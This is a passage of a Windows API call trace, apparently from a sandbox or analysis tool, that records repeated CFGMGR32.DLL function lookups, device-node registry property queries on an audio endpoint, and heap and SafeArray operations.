(hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.610] malloc (_Size=0x18) returned 0x20abc281d20 [0243.611] CM_Get_Device_IDA (in: dnDevInst=0x36, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.0.00000000}.{8E130672-61AD-4A4A-946A-D1F6397B4DB3}") returned 0x0 [0243.611] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4cf6c802, dwHighDateTime=0x1d9eb0c)) [0243.611] SetEvent (hEvent=0x248) returned 1 [0243.736] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.736] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.741] malloc (_Size=0x18) returned 0x20abc281b20 [0243.741] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0243.744] malloc (_Size=0x32) returned 0x20abc2817d0 [0243.744] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2817d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2817d0, pulLength=0x2dc22fd3f8) returned 0x0 [0243.745] free (_Block=0x20abc2817d0) [0243.745] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4d0d1ed7, dwHighDateTime=0x1d9eb0c)) [0243.746] SetEvent (hEvent=0x248) returned 1 [0243.855] malloc (_Size=0x18) returned 0x20abc281b80 [0243.855] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0243.855] free (_Block=0x20abc281b80) [0243.855] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0243.855] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0243.855] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0243.855] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0243.855] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0243.855] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0243.855] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0243.855] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0243.855] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0243.856] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.856] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0243.857] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0243.858] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.858] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.862] malloc (_Size=0x18) returned 0x20abc281fc0 [0243.862] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0243.862] malloc (_Size=0x62) returned 0x20abc2807d0 [0243.863] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0243.863] free (_Block=0x20abc2807d0) [0243.863] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4d1dd31e, dwHighDateTime=0x1d9eb0c)) [0243.864] SetEvent (hEvent=0x248) returned 1 [0243.867] malloc (_Size=0x18) returned 0x20abc281f00 [0243.867] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0243.867] free (_Block=0x20abc281f00) [0243.867] malloc (_Size=0x18) returned 0x20abc2820c0 [0243.867] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0243.867] free (_Block=0x20abc2820c0) [0243.867] malloc (_Size=0x18) returned 0x20abc281a20 [0243.869] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0243.869] free (_Block=0x20abc281a20) [0243.869] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0243.869] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0243.869] SafeArrayGetLBound (in: psa=0x20abbaf20e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0243.869] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0243.869] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0243.869] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0243.869] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0243.869] SafeArrayGetElemsize (psa=0x20abbaf20e0) returned 0x8 [0243.870] SafeArrayGetElement (in: psa=0x20abbaf20e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0243.870] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.870] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.870] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.871] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0243.871] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0243.872] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.872] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.876] malloc (_Size=0x18) returned 0x20abc281b20 [0243.876] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.879] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d2034b1, dwHighDateTime=0x1d9eb0c)) [0243.880] SetEvent (hEvent=0x248) returned 1 [0243.884] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.031] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.035] malloc (_Size=0x18) returned 0x20abc281ce0 [0244.035] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.036] malloc (_Size=0x48) returned 0x20abc27cf80 [0244.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d380bc3, dwHighDateTime=0x1d9eb0c)) [0244.037] SetEvent (hEvent=0x248) returned 1 [0244.040] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.040] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.044] malloc (_Size=0x18) returned 0x20abc281ac0 [0244.044] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0244.045] malloc (_Size=0x48) returned 0x20abc27cb20 [0244.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4d3a7894, dwHighDateTime=0x1d9eb0c)) [0244.045] SetEvent (hEvent=0x248) returned 1 [0244.050] malloc (_Size=0xd8) returned 0x20abc284e70 [0244.050] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0244.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0244.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0244.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0244.053] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0244.054] malloc (_Size=0x18) returned 0x20abc281b60 [0244.054] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, 